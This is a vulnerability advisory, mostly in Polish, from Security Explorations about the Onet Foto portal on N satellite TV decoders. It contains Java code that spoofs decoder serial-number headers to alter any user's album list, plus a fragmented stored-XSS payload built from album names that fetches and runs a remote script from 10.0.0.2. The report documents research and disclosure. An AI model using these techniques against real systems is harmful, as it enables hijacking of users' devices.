Security Vulnerability Report

SE-2011-01 Issue #2

[unauthorized manipulation of arbitrary users' favorite albums lists]

DISLAIMER

INFORMATION PROVIDED IN THIS DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, AND TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW NEITHER SECURITY EXPLORATIONS, ITS LICENSORS OR AFFILIATES, NOR THE COPYRIGHT HOLDERS MAKE ANY REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR THAT THE INFORMATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS, OR OTHER RIGHTS. THERE IS NO WARRANTY BY SECURITY EXPLORATIONS OR BY ANY OTHER PARTY THAT THE INFORMATION CONTAINED IN THE THIS DOCUMENT WILL MEET YOUR REQUIREMENTS OR THAT IT WILL BE ERROR-FREE.

YOU ASSUME ALL RESPONSIBILITY AND RISK FOR THE SELECTION AND USE OF THE INFORMATION TO ACHIEVE YOUR INTENDED RESULTS AND FOR THE INSTALLATION, USE, AND RESULTS OBTAINED FROM IT.

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL SECURITY EXPLORATIONS, ITS EMPLOYEES OR LICENSORS OR AFFILIATES BE LIABLE FOR ANY LOST PROFITS, REVENUE, SALES, DATA, OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, PROPERTY DAMAGE, PERSONAL INJURY, INTERRUPTION OF BUSINESS, LOSS OF BUSINESS INFORMATION, OR FOR ANY SPECIAL, DIRECT, INDIRECT, INCIDENTAL, ECONOMIC, COVER, PUNITIVE, SPECIAL, OR CONSEQUENTIAL DAMAGES, HOWEVER CAUSED AND WHETHER ARISING UNDER CONTRACT, TORT, NEGLIGENCE, OR OTHER THEORY OF LIABILITY ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN THIS DOCUMENT, EVEN IF SECURITY EXPLORATIONS OR ITS LICENSORS OR AFFILIATES ARE ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

THIS PUBLICATION COULD INCLUDE TECHNICAL INACCURACIES OR TYPOGRAPHICAL ERRORS.

Security Explorations wykryło błąd bezpieczeństwa w implementacji portalu Onet Foto (`https://cs.n.onet.pl`) dedykowanej dla dekoderów telewizji satelitarnej N. Błąd związany jest z możliwością dokonywania zmian (dodanie / usunięcie) na liście tzw. albumów ulubionych zdjęć danego użytkownika. Znajomość numeru seryjnego dekodera satelitarnego platformy N jest wystarczające do przeprowadzenia wspomnianej manipulacji.

Manipulacja listą albumów możliwa jest za pośrednictwem skryptu `https://cs.n.onet.pl/nportal/nFoto_v2/moje_albumy.html`.

Fragmentu kodu poniżej ilustruje parametry ww. skryptu wymagane do dodania, bądź usunięcia albumu o określonym identyfikatorze `id` z listy albumów użytkownika:

```
private static String album_add(int id) {
 return doget(csnhost+"/nportal/nFoto_v2/moje_albumy.html?add="+id);
}
private static String album_del(int id) {
 return doget(csnhost+"/nportal/nFoto_v2/moje_albumy.html?del="+id);
}
```

W celu określenia docelowego użytkownika (dekodera) dla którego lista ulubionych albumów ma zostać zmieniona, atakujący musi zadeklarować numer seryjny urządzenia w nagłówku żądania HTTP. Nagłówki, które niosą taką informacje mają nazwę `nBoxSerialNumber` i `X-nBox-SerialNumber`. Fragment kodu poniżej, ilustruje implementację która realizuje przygotowanie połączenia HTTPS do manipulacji albumami ulubionych zdjęć danego użytkownika (dekodera):

```
private static String doget(String urlstr) {
  HttpsURLConnection conn=null;
  String result="";

  try {
   URL url=new URL(urlstr);
   conn=(HttpsURLConnection)url.openConnection();
   conn.setRequestMethod("GET");
   conn.setRequestProperty("Content-type","text/xml");
   conn.setRequestProperty("Connection","close");
```

```
    conn.setRequestProperty("nBoxSerialNumber",NBOXSERIAL);

    conn.setRequestProperty("X-nBox-SerialNumber",NBOXSERIAL);

    conn.setRequestProperty("X-nBox-Resolution","16x9R1920x1080I");

    conn.setRequestProperty("X-nBox-SwVersion","v3685_8 RELEASE");

    conn.setRequestProperty("X-nBox-HwVersion","S63");

    conn.setRequestProperty("User-Agent","DVB-HTML/1.1.0 [en] (ia
1.1.0; Osmosys GEM Stack v3685_8 RELEASE; S63;) Xion/1.8.21.1");

    conn.connect();

    ...
```

Zgłoszony błąd w połączeniu z innymi błędami bezpieczeństwa środowiska platformy cyfrowej telewizji satelitarnej N (błąd numer 2), umożliwił zakończoną sukcesem penetrację dekoderów satelitarnych tej platformy.

W katalogu `test` znajduje sie przykład ilustrujący sekwencję komend jaka została wysłana do serwera WWW i skryptu `http://foto.onet.pl/_x/foto/api.php3` w celu:

- zmiany nazwy albumu użytkownika na "`<script>var c=top.s.join('');eval(c)</script>`",
- zmiany nazwy albumu użytkownika na "`<script>top.s.push("rld!");");</script>`",
- zmiany nazwy albumu użytkownika na "`<script>top.s.push("alert('Hello Wo");</script>`",
- zmiany nazwy albumu użytkownika na "`<script>top.s=new Array()</script>`",
- ponownej zmiany nazwy albumu użytkownika na "`Album`".

Pliki zawarte w katalogu `test` mają następujące znaczenie:

- `moje_albumy.html.clean`
  zawartość strony `moje_albumy.html` widzianej z poziomu dekodera telewizji satelitarnej N , strona nie zawiera żadnych albumów na liście użytkownika danego dekodera, adres strony to `https://cs.n.onet.pl/nportal/nFoto_v2/moje_albumy.html`,
- `moje_albumy.html.load`
  sekwencja komunikatów jaka została wysłana do serwera WWW i skryptu `http://foto.onet.pl/_x/foto/api.php3` w celu zmiany nazwy albumu fotograficznego użytkownika odpowiednio na taką, która doprowadziłaby do uruchomienia określonych sekwencji języka JavaScript i na nazwę "`Album`"
- `moje_albumy.html.loaded`
  zawartość strony `moje_albumy.html` widzianej z poziomu dekodera telewizji satelitarnej N. Strona zawiera cztery albumy na liście użytkownika danego dekodera.

Ich nazwy są skonstruowane w taki sposób, aby całość tworzyła określoną sekwencję języka JavaScript, która zostanie uruchomiona w momencie prezentacji strony w oknie przeglądarki WWW dekodera satelitarnego platformy N. Adres strony to `https://cs.n.onet.pl/nportal/nFoto_v2/moje_albumy.html`.

- `test.js`
  skrypt języka JavaScript, którego komendy zostały umieszczone w kodzie zwracanym przez stronę `moje_albumy.html`.

Poniżej przedstawiamy wynik działania naszego oprogramowania, które modyfikuje stronę ulubionych albumów dekodera o podanym numerze seryjnym w celu wykonania na nim dowolnego kodu JavaScript:

```
c:\_PROJECTS\DTV>r l s.js

initializing cookies

- onet_ubi=xxxxxxxxxxxxxxxxxxxxxxx

- onet_sid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

logging in to http://foto.onet.pl/

fetching http://foto.onet.pl/twoje_foto.html

looking up URL of album page

- nw0nr,lokiisol6vii,u.html

looking up TOKEN value

- xxxxxxxxxxxx

looking up UOAPPID value

- xxxxxxxx

looking up ALBUMID value

- 191851262950

loading script code

  <script>var c=top. s.join('');eval(c)</script>

  <script>top.s.push("eval(top.u);");</script>

  <script>top.s.push("top.r.join('');");</script>

  <script>top.s.push("dLine();}top.u=");</script>

  <script>top.s.push("top.t=top.p.rea");</script>

  <script>top.s.push("r.push(top.t); ");</script>

  <script>top.s.push("t!=null) { top.");</script>
```

```
<script>top.s.push("ne();while(top.");</script>
<script>top.s.push(".t=top.p.readLi");</script>
<script>top.s.push("new Array();top");</script>
<script>top.s.push("utf-8'));top.r=");</script>
<script>top.s.push("mReader(top.o,'");</script>
<script>top.s.push("a.io.InputStrea");</script>
<script>top.s.push("ew Packages.jav");</script>
<script>top.s.push("ufferedReader(n");</script>
<script>top.s.push("kages.java.io.B");</script>
<script>top.s.push("; top.p=new Pac");</script>
<script>top.s.push("etInputStream()");</script>
<script>top.s.push(");top.o=top.n.g");</script>
<script>top.s.push(";top.n.connect(");</script>
<script>top.s.push("ction','close')");</script>
<script>top.s.push("Property('Conne");</script>
<script>top.s.push("op.n.setRequest");</script>
<script>top.s.push("Method('GET');t");</script>
<script>top.s.push("op.n.setRequest");</script>
<script>top.s.push("nConnection();t");</script>
<script>top.s.push("top.n=top.m.ope");</script>
<script>top.s.push("0.0.0.2/s.js');");</script>
<script>top.s.push("t.URL('http://1");</script>
<script>top.s.push("ackages.java.ne");</script>
<script>top.s.push("T');top.m=new P");</script>
<script>top.s.push("CT FROM INTERNE");</script>
<script>top.s.push("alert('DISCONNE");</script>
<script>top.s=new Array()</script>
```

goto album: 191851262950

W wyniku działania naszego oprogramowania, strona ulubionych albumów użytkownika zostaje zmodyfikowana w taki sposób, aby po jej wyświetleniu na dekoderze telewizji satelitarnej wykonał sie określony kod języka JavaScript. W prezentowanym przykładzie, kod ten pobiera z określonego adresu (`http://10.0.0.2/s.js`) nowy plik skryptu JavaScript w celu jego wykonania.

Błąd numer 2 stanowi jeden z 24 błędów bezpieczeństwa odkrytych przez firmę Security Explorations w rezultacie prac nad projektem badawczym, którego tematem było weryfikacja bezpieczeństwa platformy telewizji satelitarnej i specjalizowanych układów DVB. Więcej informacji o projekcie można znaleźć na stronach: `http://www.security-explorations.com/pl/SE-2011-01.html`.

Informacje o Security Explorations.

Security Explorations (`http://www.security-explorations.com`) jest polskim startupem świadczącym usługi i prowadzącym badania z zakresu bezpieczeństwa oprogramowania i sprzętu. Firma powstała w wyniku pasji założyciela do przełamywania mechanizmów bezpieczeństwa produktów technologicznych. Założycielem firmy jest Adam Gowdiak, znany miedzy innymi z odkrycia ponad 50 słabości bezpieczeństwa w technologii Java, odkrycia krytycznego błędu w systemie Microsoft Windows, czy tez prezentacji pierwszego ataku na platformę mobilnej Javy w roku 2004.